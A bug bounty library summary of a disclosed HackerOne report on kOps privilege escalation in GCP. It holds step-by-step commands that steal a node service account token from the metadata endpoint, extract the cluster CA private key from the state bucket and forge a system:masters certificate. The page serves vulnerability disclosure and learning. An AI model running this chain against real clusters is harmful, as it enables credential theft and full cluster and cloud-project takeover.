# Privilege Escalation in kOps using GCE/GCP Provider

Any pod with shell access could fetch the node's GCP service account token, read the kOps state bucket, steal the cluster CA key, and mint a system:masters cert for full cluster admin.

- Payout: $2,500
- Severity: high
- Program: Kubernetes
- Found by: jpts
- Disclosed: 2023-08-04
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/1842829
- Library page: https://bugbountylibrary.com/r/h1%3A1842829
- Tags: area:cloud domain:cloud domain:infra impact:internal-access impact:privesc kind:bounty platform:hackerone sev:high tech:gcp tech:kubernetes technique:chained vuln:access-control vuln:secrets-leak

**Target:** kOps GCE/GCP cluster provisioning (node metadata service account + GCS state store)
**Root cause:** kOps grants every node's instance service account read access to the state storage bucket, which holds the kubernetes-ca private key; pod-level metadata access exposes that token to any workload.
**Steps:**
1. Deploy a pod with shell access: `k apply -f shell.yaml`; exec in: `k exec -it shell-... -- ash`
2. Fetch node SA token: `wget --header 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token -O default.token`
3. Get bucket name from startup script: `wget --header 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script -O- | grep ConfigBase`
4. Copy token to host: `k cp shell-...:/default.token default.token`
5. `gcloud auth revoke; export CLOUDSDK_AUTH_ACCESS_TOKEN=$(jq .access_token -r ./default.token)`
6. Read CA keys: `gcloud storage cat gs://<bucket>/kops.k8s.local/pki/private/kubernetes-ca/keyset.yaml | yq e '.spec.keys[0].privateMaterial' - | base64 -d > keys/ca.key` (and publicMaterial to ca.pem)
7. Mint system:masters cert: `cfssl gencert -ca=ca.pem -ca-key=ca.key -profile=kubernetes csr.json | cfssljson -bare user`
8. Build kubeconfig with user.pem/user-key.pem and ca.pem; verify `k auth can-i '*' '*' -A`
9. Schedule pod on master node, exec in, fetch master node SA token from metadata, use it to `gcloud compute instances create miner ...`
**How found:** Reasoning that kOps must store cluster PKI in the state bucket and that nodes need bucket access to bootstrap; checking whether pod-level metadata access leaks the node SA token and whether that token can read the CA private key.
**Exploitation:** Attacker with any pod shell reads the node's GCP metadata token, uses it to read the kOps state bucket, extracts the kubernetes-ca private key, forges a client cert with system:masters, and gains cluster-admin. Then schedules a pod on a control-plane node, harvests its more privileged service account token, and uses it to create arbitrary GCP compute instances (cryptomining) or pivot to other project resources.
**Escalation:** Pod shell -> node SA token -> state bucket CA key -> cluster-admin cert -> control-plane node SA token -> GCP project-level compute create / resource takeover.
**Insight:** For managed-cluster tooling, check whether the node instance identity can read the cluster's PKI/state store — if the CA private key lives in a bucket the node SA can read, any pod shell is cluster-admin. Also check control-plane node SAs for over-broad roles like Kubernetes Engine Service Agent.

## Proof of concept (copied exactly from the original report)

**Fetch GCE metadata service account token from pod**

```
pod$ wget --header 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token -O default.token
  pod$ wget --header 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script -O- | grep ConfigBase
```

**Read CA private key from state bucket with node token**

```
gcloud storage cat gs://kops-state-test/kops.k8s.local/pki/private/kubernetes-ca/keyset.yaml | yq e '.spec.keys[0].privateMaterial' - | base64 -d > keys/ca.key
  gcloud storage cat gs://kops-state-test/kops.k8s.local/pki/private/kubernetes-ca/keyset.yaml | yq e '.spec.keys[0].publicMaterial' - | base64 -d > keys/ca.pem
```

**Forge system:masters cert and build admin kubeconfig**

```
cfssl gencert -ca=ca.pem -ca-key=ca.key -profile=kubernetes csr.json | cfssljson -bare user
  8. Construct new kubeconfig
  export KUBECONFIG=./pwn.kconfig
  k config set-credentials pwn --client-certificate=user.pem --client-key=user-key.pem
  k config set-cluster kops --certificate-authority=ca.pem --server=https://<kops-ip>
  k config set-context pwn@kops --cluster=kops --user=pwn
  k config use-context pwn@kops
```

